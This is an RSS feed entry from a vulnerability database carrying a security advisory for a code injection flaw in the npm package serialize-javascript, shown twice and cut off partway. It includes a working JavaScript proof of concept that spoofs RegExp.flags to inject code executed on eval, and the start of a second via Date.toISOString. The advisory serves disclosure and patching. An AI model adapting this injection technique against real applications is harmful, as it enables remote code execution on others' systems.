<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 18:12:41 +0000</lastBuildDate>
    <item>
      <title>GHSA-5c6j-r48x-rmvq — Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-5c6j-r48x-rmvq</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: serialize-javascript&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;The serialize-javascript npm package (versions &amp;lt;= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.&lt;/p&gt;
&lt;p&gt;While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.&lt;/p&gt;
&lt;p&gt;If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `&amp;lt;script&amp;gt;` tags), the injected code executes.&lt;/p&gt;
&lt;p&gt;```javascript
const serialize = require(&amp;#39;serialize-javascript&amp;#39;);
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, &amp;#39;source&amp;#39;, { get: () =&amp;gt; &amp;#39;x&amp;#39; });
Object.defineProperty(fakeRegex, &amp;#39;flags&amp;#39;, {
  get: () =&amp;gt; &amp;#39;&amp;#34;+(global.PWNED=&amp;#34;CODE_INJECTION_VIA_FLAGS&amp;#34;)+&amp;#34;&amp;#39;
});
fakeRegex.toJSON = function() { return &amp;#39;@placeholder&amp;#39;; };
const output = serialize({ re: fakeRegex });
// Output: {&amp;#34;re&amp;#34;:new RegExp(&amp;#34;x&amp;#34;, &amp;#34;&amp;#34;+(global.PWNED=&amp;#34;CODE_INJECTION_VIA_FLAGS&amp;#34;)+&amp;#34;&amp;#34;)}
let obj;
eval(&amp;#39;obj = &amp;#39; + output);
console.log(global.PWNED); // &amp;#34;CODE_INJECTION_VIA_FLAGS&amp;#34; — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```&lt;/p&gt;
&lt;p&gt;```javascript
const serialize = require(&amp;#39;serialize-javascript&amp;#39;);
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return &amp;#39;&amp;#34;+(global.DATE_P…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: serialize-javascript&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;The serialize-javascript npm package (versions &amp;lt;= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.&lt;/p&gt;
&lt;p&gt;While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.&lt;/p&gt;
&lt;p&gt;If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `&amp;lt;script&amp;gt;` tags), the injected code executes.&lt;/p&gt;
&lt;p&gt;```javascript
const serialize = require(&amp;#39;serialize-javascript&amp;#39;);
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, &amp;#39;source&amp;#39;, { get: () =&amp;gt; &amp;#39;x&amp;#39; });
Object.defineProperty(fakeRegex, &amp;#39;flags&amp;#39;, {
  get: () =&amp;gt; &amp;#39;&amp;#34;+(global.PWNED=&amp;#34;CODE_INJECTION_VIA_FLAGS&amp;#34;)+&amp;#34;&amp;#39;
});
fakeRegex.toJSON = function() { return &amp;#39;@placeholder&amp;#39;; };
const output = serialize({ re: fakeRegex });
// Output: {&amp;#34;re&amp;#34;:new RegExp(&amp;#34;x&amp;#34;, &amp;#34;&amp;#34;+(global.PWNED=&amp;#34;CODE_INJECTION_VIA_FLAGS&amp;#34;)+&amp;#34;&amp;#34;)}
let obj;
eval(&amp;#39;obj = &amp;#39; + output);
console.log(global.PWNED); // &amp;#34;CODE_INJECTION_VIA_FLAGS&amp;#34; — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```&lt;/p&gt;
&lt;p&gt;```javascript
const serialize = require(&amp;#39;serialize-javascript&amp;#39;);
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return &amp;#39;&amp;#34;+(global.DATE_P…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-5c6j-r48x-rmvq</guid>
    </item>
  </channel>
</rss>
